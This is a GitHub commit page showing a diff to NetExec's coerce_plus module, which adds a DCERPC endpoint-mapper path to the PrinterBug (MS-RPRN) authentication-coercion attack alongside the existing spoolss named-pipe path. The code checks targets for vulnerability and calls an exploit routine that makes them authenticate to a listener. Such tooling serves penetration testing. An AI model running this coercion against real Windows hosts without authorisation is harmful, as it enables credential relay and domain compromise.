Skip to content

Commit fcc22c2

Browse files
authored
Merge pull request Pennyw0rth#505 from rtpt-romankarwacik/dcerpc_printerbug
coerce_plus: Support DCERPC for PrinterBug
2 parents 1219423 + 74f39f5 commit fcc22c2

1 file changed

Lines changed: 67 additions & 27 deletions

File tree

nxc/modules/coerce_plus.py

Lines changed: 67 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
from impacket.dcerpc.v5 import transport, rprn, even
1+
from impacket import uuid
2+
from impacket.dcerpc.v5 import transport, rprn, even, epm
23
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
34
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
45
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -146,32 +147,36 @@ def on_login(self, context, connection):
146147
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
147148
runmethod = True
148149
""" PRINTERBUG START """
149-
try:
150-
printerbugclass = PrinterBugTrigger(context)
151-
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
152-
printerbugconnect = printerbugclass.connect(
153-
username=connection.username,
154-
password=connection.password,
155-
domain=connection.domain,
156-
lmhash=connection.lmhash,
157-
nthash=connection.nthash,
158-
target=target,
159-
doKerberos=connection.kerberos,
160-
dcHost=connection.kdcHost,
161-
aesKey=connection.aesKey,
162-
pipe="spoolss"
163-
)
150+
pipes = ["spoolss", "[dcerpc]"]
151+
for pipe in pipes:
152+
try:
153+
printerbugclass = PrinterBugTrigger(context)
154+
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
155+
printerbugconnect = printerbugclass.connect(
156+
username=connection.username,
157+
password=connection.password,
158+
domain=connection.domain,
159+
lmhash=connection.lmhash,
160+
nthash=connection.nthash,
161+
target=target,
162+
doKerberos=connection.kerberos,
163+
dcHost=connection.kdcHost,
164+
aesKey=connection.aesKey,
165+
pipe=pipe
166+
)
164167

165-
if printerbugconnect is not None:
166-
context.log.debug("Target is vulnerable to PrinterBug")
167-
context.log.highlight("VULNERABLE, PrinterBug")
168-
if self.listener is not None: # exploit
169-
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
170-
printerbugconnect.disconnect()
171-
else:
172-
context.log.debug("Target is not vulnerable to PrinterBug")
173-
except Exception as e:
174-
context.log.error(f"Error in PrinterBug module: {e}")
168+
if printerbugconnect is not None:
169+
context.log.debug("Target is vulnerable to PrinterBug")
170+
context.log.highlight("VULNERABLE, PrinterBug")
171+
if self.listener is not None: # exploit
172+
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
173+
if not self.always_continue and exploit_status:
174+
break
175+
printerbugconnect.disconnect()
176+
else:
177+
context.log.debug("Target is not vulnerable to PrinterBug")
178+
except Exception as e:
179+
context.log.error(f"Error in PrinterBug module: {e}")
175180
""" PRINTERBUG END """
176181

177182
if self.method == "all" or self.method[:1] == "m": # MSEven
@@ -752,15 +757,50 @@ class PrinterBugTrigger:
752757
def __init__(self, context):
753758
self.context = context
754759

760+
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
761+
string_binding = r"ncacn_ip_tcp:%s[135]" % target
762+
rpctransport = transport.DCERPCTransportFactory(string_binding)
763+
rpctransport.set_connect_timeout(timeout)
764+
dce = rpctransport.get_dce_rpc()
765+
self.context.log.debug(
766+
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
767+
)
768+
try:
769+
dce.connect()
770+
except Exception as e:
771+
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
772+
raise e
773+
try:
774+
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
775+
self.context.log.debug(
776+
"Resolved dynamic endpoint %s to %s"
777+
% (repr(uuid.bin_to_string(interface)), repr(endpoint))
778+
)
779+
return endpoint
780+
except Exception as e:
781+
self.context.log.debug(
782+
"Failed to resolve dynamic endpoint %s"
783+
% repr(uuid.bin_to_string(interface))
784+
)
785+
raise e
786+
787+
755788
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
756789
binding_params = {
757790
"spoolss": {
758791
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
759792
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
793+
"port": 445
760794
},
795+
"[dcerpc]": {
796+
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
797+
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
798+
"port": None
799+
}
761800
}
762801
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
763-
rpctransport.set_dport(445)
802+
if binding_params[pipe]["port"] is not None:
803+
rpctransport.set_dport(binding_params[pipe]["port"])
764804

765805
if hasattr(rpctransport, "set_credentials"):
766806
rpctransport.set_credentials(

0 commit comments

Comments
 (0)